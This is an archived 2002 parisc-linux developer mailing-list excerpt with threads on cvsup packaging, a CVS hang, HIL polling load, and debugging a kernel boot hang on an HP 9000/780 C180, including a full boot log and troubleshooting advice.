Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DE5A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 02:10:58 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-078-185.arcor-ip.net [145.254.78.185])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA27561
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 10:10:53 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16408

Hello list,

is there cvsup for hppa?


Best regards, Tilo



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs does not terminate...
Date: Tue, 08 Oct 2002 10:16:29 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3DA2945D.7010301@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621805 15178 80.91.229.3 (22 Nov 2014 02:03:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 02:12:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E9EC4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 02:12:20 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-078-185.arcor-ip.net [145.254.78.185])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA29807
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 10:12:15 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16409

Hello list,

if I use LinCVS with my parisc machine as server, cvs does not terminate 
in all cases. Is this a known problem? It seems that all works fine if I 
use cvs from commandline.


Best regards, Tilo



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot (micro) hang
Date: Tue, 08 Oct 2002 15:49:47 +0200
Lines: 271
Approved: news@gmane.org
Message-ID: <3DA2E27B.5708975E@hpfrcu81.france.hp.com>
References: <3DA2945D.7010301@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621805 15181 80.91.229.3 (22 Nov 2014 02:03:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 07:48:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D25BE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 07:48:29 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 561F7102
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 15:48:24 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id PAA01603; Tue, 8 Oct 2002 15:49:47 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16410

Hi All,

I have made no progress today.
Thomas helped to turn on verbosity during boot and remove LED display code,
but yet it fail to boot 'normally' and I still get the micro hang (15 minute).

Here is the boot display.


HARD Booted.
INIT C5FF
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     201   82 swap
3             202    4094   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 2511320 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda3 HOME=/ ncr53c8xx=burst:3
console=ttyS0
TERM=vt102 palo_kernel=3/boot/vmlinux'
Selected kernel: /boot/vmlinux from partition 3
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 2065880 mediaptr 0x1000
Segment 1 load 002fa000 size 453664 mediaptr 0x1fa000
Segment 2 load 0036c000 size 269924 mediaptr 0x269000
Segment 3 load 003b0000 size 8192 mediaptr 0x2ab000
Segment 4 load 003b8000 size 32768 mediaptr 0x2ad000
Segment 5 load 003e1e70 size 104784 mediaptr 0x2b5e70
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-pa21 (phi@iws1pb02) (gcc version 3.0.4) #3 Tue Oct 8
15:32:
43 CEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 000059c0 00000481 00000000 00000002 77ecd750 100000f0 00000008 000000b2
00
0000b2
vers  00000205
CPUID vers 14 rev 9 (0x000001c9)
capabilities 0x2
model 9000/780/C180
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3 HOME=/ ncr53c8xx=burst:3 console=ttyS0
TERM=
vt102 palo_kernel=3/boot/vmlinux
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 359.62 BogoMIPS
Memory: 126368k available
Dentry cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...


=================== micro hang here ==================================

Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa
3. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6, 0x0, 0x8c
5. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89
6. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81, 
addi
tional addresses: 0xffd0c000 0xffc00000
7. Raven U/L2 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x3b, 0x0,
0
x74,  additional addresses: 0xffd01000 0xffd03000
8. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, 0x4, 0x7b
9. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0,
0x8c
10. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82
11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b,
0x0,
 0x8a
12. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0,
0
x84
13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b, 0x0,
0
x84
14. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
15. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, 0x0,
0x7
3
16. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0,
0x8c

17. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17,
0x0,
 0x90,  additional addresses: 0xffc88000 0xfc00000b
18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, 0x0,
0x85,
  additional addresses: 0xf0026000
19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
20. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
21. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
22. Raven U 180 (9000/780/C180) (0) at 0xfffa0000 [32], versions 0x59c, 0x0,
0x4

23. Memory (1) at 0xfffb1000 [49], versions 0x72, 0x0, 0x9
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected INP0500)
Dino version 3.1 found at 0xf2000000
Dino: No PCI devices enabled.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0140000.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
STI word mode ROM at f0026000, hpa at fa000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: 0xfa100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
en
abled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 00 60 B0 05 34 7B IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
  Vendor: SEAGATE   Model: ST15150W          Rev: HP10
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xffd04000, IRQ 82
mice: PS/2 mouse device common for all mice
HP SDC: HP SDC reports successful PUP.
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   392.800 MB/sec
   8regs_prefetch:   392.800 MB/sec
   32regs    :   305.600 MB/sec
   32regs_prefetch:   305.600 MB/sec
raid5: using function: 8regs_prefetch (392.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
HP SDC: Transaction add failed: transaction already queued?
md: Autodetecting RAID arrays.
HP SDC: Transaction add failed: transaction already queued?
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: read timeout (860942us)!
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 264k freed
INIT: version 2.84 booting
Loading /etc/console/boottime.kmap.gz
Activating swap.
Adding Swap: 173156k swap-space (priority -1)
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sda3: clean, 49882/498976 files, 353001/996735 blocks
System time was Tue Oct  8 12:52:10 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Tue Oct  8 12:52:03 UTC 2002.
Calculating module dependencies... depmod: Can't open
/lib/modules/2.4.19-pa21/m
odules.dep for writing
done.
Loading modules:
modprobe: Can't open dependencies file /lib/modules/2.4.19-pa21/modules.dep
(No
such file or directory)
Checking all file systems...
fsck 1.27 (8-Mar-2002)
Setting kernel variables.
Mounting local filesystems...
nothing was mounted
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces... eth0: link ok.
done.
R
Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Tue Oct  8 14:52:10 CEST 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.

=============================================================================




The vmlinux.prev boot ok, so no HW should be the root cause.

The vmlinux.prev is


Linux version 2.4.18-pa58 (phi@iws1pb02) (gcc version 3.0.4) #1 Thu Jul 25
13:29
:39 CEST 2002


Any ideas?

Phi


From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Tue, 8 Oct 2002 08:27:02 -0600 (MDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200210081427.IAA27522@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621805 15185 80.91.229.3 (22 Nov 2014 02:03:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 08:27:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 217EE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 08:27:09 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel9.hp.com (Postfix) with ESMTP id E3305E0119B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 10:27:02 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id IAA27522
	for parisc-linux@lists.parisc-linux.org; Tue, 8 Oct 2002 08:27:02 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16411

> It's a bug/feature related to the HIL drivers.
> Since we have to poll the HIL ports the whole time
> the bunch of running timers increase the ksoftirqd load a lot.

I understand that polling is necessary while sending commands out
to hil devices, but input should be interrupt driven. What is the
reason for all of the polling?

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Tue, 8 Oct 2002 08:00:53 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20021008150053.GC24881@tausq.org>
References: <3DA2945D.7010301@visoel.de> <3DA2E27B.5708975E@hpfrcu81.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621806 15190 80.91.229.3 (22 Nov 2014 02:03:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 08:58:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C8254829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 08:58:04 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 54EAFCD83C; Tue,  8 Oct 2002 08:00:53 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DA2E27B.5708975E@hpfrcu81.france.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16412

> I have made no progress today.
> Thomas helped to turn on verbosity during boot and remove LED display code,
> but yet it fail to boot 'normally' and I still get the micro hang (15 minute).
> 
> Here is the boot display.

Make sure you have the System.map that goes along with the kernel you
are booting, then when you observe the hang on bootup, press the TOC
button (usually a recessed button on the back of the box). The machine
should automatically reboot. At the next reboot at the PDC prompt, do
"ser pim" and capture the output. Put that output and your System.map
someplace others can access (or you can try to match it up yourself, 
the interesting bits are where the IAOQ and GR02 values lay in 
System.map)

good luck :)
randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cvsup for hppa?
Date: Tue, 8 Oct 2002 18:48:18 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3D8EED0B00001C0B@ocpmta5.be.tiscali.com>
References: <3DA2940B.8030304@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621806 15191 80.91.229.3 (22 Nov 2014 02:03:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:26 +0000 (UTC)
To: "Tilo Riemer" <t.riemer@visoel.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 10:55:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28311482D
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 10:55:37 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 8 Oct 2002 18:48:18 +0200
In-Reply-To: <3DA2940B.8030304@visoel.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16413

>-- Original Message --
>From: Tilo Riemer <t.riemer@visoel.de>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] cvsup for hppa?
>Date: Tue, 08 Oct 2002 10:15:07 +0200
>
>
>Hello list,
>
>is there cvsup for hppa?

Do you speek about package.
If yes, I also have a look in cvsup. And cvsup is written in 'pm3' (Modula3)
which has a lot of platform dependent code and it is unfortunately only packaged
for i386 . And I did not know if its successor cm3 is already pakaged :(.

Regards,
    Joel



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Tue, 08 Oct 2002 11:01:52 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20021008170152.AD42D4839@dsl2.external.hp.com>
References: <3DA2945D.7010301@visoel.de>  <3DA2E27B.5708975E@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621806 15192 80.91.229.3 (22 Nov 2014 02:03:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 11:01:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AD42D4839; Tue,  8 Oct 2002 11:01:52 -0600 (MDT)
In-Reply-To: Message from phi <phi@hpfrcu81.france.hp.com> 
   of "Tue, 08 Oct 2002 15:49:47 +0200." <3DA2E27B.5708975E@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16414

phi wrote:
> Thomas helped to turn on verbosity during boot and remove LED display code,
> but yet it fail to boot 'normally' and I still get the micro hang (15 minute).

The long delay happens during device discovery.
You could enable EARLY_BOOTUP_DEBUG in arch/parisc/kernel/pdc_cons.c
and add some printk's to the loop in system_map_inventory().

Only two pieces of code really get executed during that time.
One is the PDC calls - verify your firmware is the latest and if it
